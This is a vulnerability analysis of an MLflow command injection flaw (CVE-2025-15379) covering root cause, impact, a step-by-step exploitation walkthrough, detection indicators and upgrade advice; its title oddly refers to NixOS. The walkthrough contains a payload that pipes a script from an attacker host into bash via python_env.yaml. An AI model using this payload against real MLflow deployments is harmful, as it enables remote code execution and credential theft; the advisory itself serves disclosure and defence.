CVE-2025-15379: 
NixOS vulnerability analysis and mitigation

CVE-2025-15379 is a critical command injection vulnerability in MLflow's model serving container initialization code, specifically within the _install_model_dependencies_to_env() function. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization, enabling arbitrary command execution. The vulnerability affects MLflow versions 3.8.0 and 3.8.1, and is fixed in version 3.8.2 (with an intermediate fix also noted in 3.8.1 per the GitHub Advisory). It carries a CVSS v3.1 base score of 9.8 (Critical) per NVD, and a CVSS v3.0 score of 10.0 (Critical) per the GitHub Advisory Database (GitHub Advisory, Feedly).

The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command — Command Injection). In the vulnerable code, dependency strings from python_env.build_dependencies and python_env.dependencies were joined into a single string and passed to bash -c "python -m pip install {deps}", allowing shell metacharacters (;, |, &&, backticks, $()) embedded in the python_env.yaml of a malicious model artifact to be interpreted by the shell. The fix replaces this pattern with a list-based Popen call using shlex.split() per dependency, eliminating shell interpretation entirely (GitHub Commit, GitHub Advisory). The attack requires no authentication and no user interaction — an attacker only needs to supply a crafted model artifact that is subsequently deployed by a target system using the LOCAL environment manager (Feedly).

Successful exploitation grants an unauthenticated remote attacker arbitrary shell command execution with the privileges of the MLflow model serving process, resulting in high confidentiality, integrity, and availability impact. An attacker can exfiltrate sensitive data (model weights, credentials, environment variables), modify or destroy data, install backdoors or malware, and potentially pivot laterally within the infrastructure hosting the MLflow deployment. The GitHub Advisory assigns a scope of "Changed," indicating that the impact can extend beyond the vulnerable component itself (GitHub Advisory, Feedly).

No confirmed in-the-wild exploitation has been observed, and no functional public exploit code is currently available (Feedly). A bounty report exists on Huntr (dc9c1c20-7879-4050-87df-4d095fe5ca75), which served as the disclosure source, but the page content was found to be non-exploitable at time of analysis. The EPSS score is approximately 0.24–0.28%, placing it around the 52nd percentile for exploitation probability within 30 days (GitHub Advisory). The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Qualys has published a detection (ID: 531110) for this vulnerability (Feedly).

1. Craft a malicious model artifact: Create a valid MLflow model directory structure including an MLmodel file referencing a python_env.yaml, and a requirements.txt. In python_env.yaml, embed a malicious dependency string such as "numpy; curl http://attacker.com/shell.sh | bash; #" under the dependencies key.
2. Host or deliver the artifact: Upload the malicious model artifact to an MLflow model registry, shared storage, or any location accessible to the target MLflow deployment system (e.g., S3 bucket, NFS share, or directly via the MLflow tracking server API if write access is available).
3. Trigger model deployment with LOCAL env_manager: Cause the target system to deploy the model using env_manager=LOCAL — this may occur automatically in CI/CD pipelines, model serving workflows, or by social engineering an operator to run mlflow models serve --model-uri <path> --env-manager local.
4. Command injection executes: When _install_model_dependencies_to_env() processes the python_env.yaml, the malicious dependency string is interpolated into bash -c "python -m pip install numpy; curl http://attacker.com/shell.sh | bash; #", executing the injected commands with the privileges of the MLflow process.
5. Establish persistence or exfiltrate data: Use the achieved shell access to install a reverse shell, exfiltrate environment variables (API keys, cloud credentials), or move laterally within the deployment environment (GitHub Commit, GitHub Advisory).

• Process: Unexpected child processes spawned by the MLflow model serving process (e.g., bash, curl, wget, python, nc) with unusual arguments or network destinations; bash -c invocations containing pip install commands with shell metacharacters.
• Network: Outbound HTTP/HTTPS connections from the MLflow server to unknown external IPs or domains during model deployment; DNS lookups for attacker-controlled infrastructure initiated by the model serving process.
• File System: Unexpected scripts, binaries, or web shells written to the MLflow working directory, /tmp, or model artifact directories; new cron jobs or systemd services created by the MLflow service account.
• Logs: MLflow container or serving logs showing bash -c "python -m pip install ..." commands containing shell metacharacters (;, |, &&, backticks, $()); pip install failures followed by unexpected process activity; OS-level audit logs (auditd) recording unusual execve calls from the MLflow process.

Upgrade MLflow to version 3.8.2 (or at minimum 3.8.1, which contains an intermediate fix) immediately, as these versions replace the vulnerable shell-interpolation pattern with a safe list-based Popen call using shlex.split() (GitHub Advisory, GitHub Commit). As a workaround where upgrading is not immediately possible, avoid using env_manager=LOCAL when deploying models from untrusted sources, and restrict model deployment permissions to trusted users only. Additionally, validate and inspect python_env.yaml files in model artifacts for suspicious dependency strings before deployment, and run MLflow model serving processes with minimal OS privileges to limit the blast radius of any exploitation (Feedly).

The vulnerability was reported via the Huntr bug bounty platform by researcher "drhreddy" and was published to the GitHub Advisory Database on March 30, 2026 (GitHub Advisory). The Hacker Wire covered the vulnerability with an article titled "MLflow Critical RCE via Model Artifact Command Injection," highlighting the supply-chain risk of deploying untrusted model artifacts (The Hacker Wire). Qualys included detection for this CVE in its April 2026 application security detections release, and the vulnerability received attention across CVE tracking communities on Bluesky and security aggregator platforms.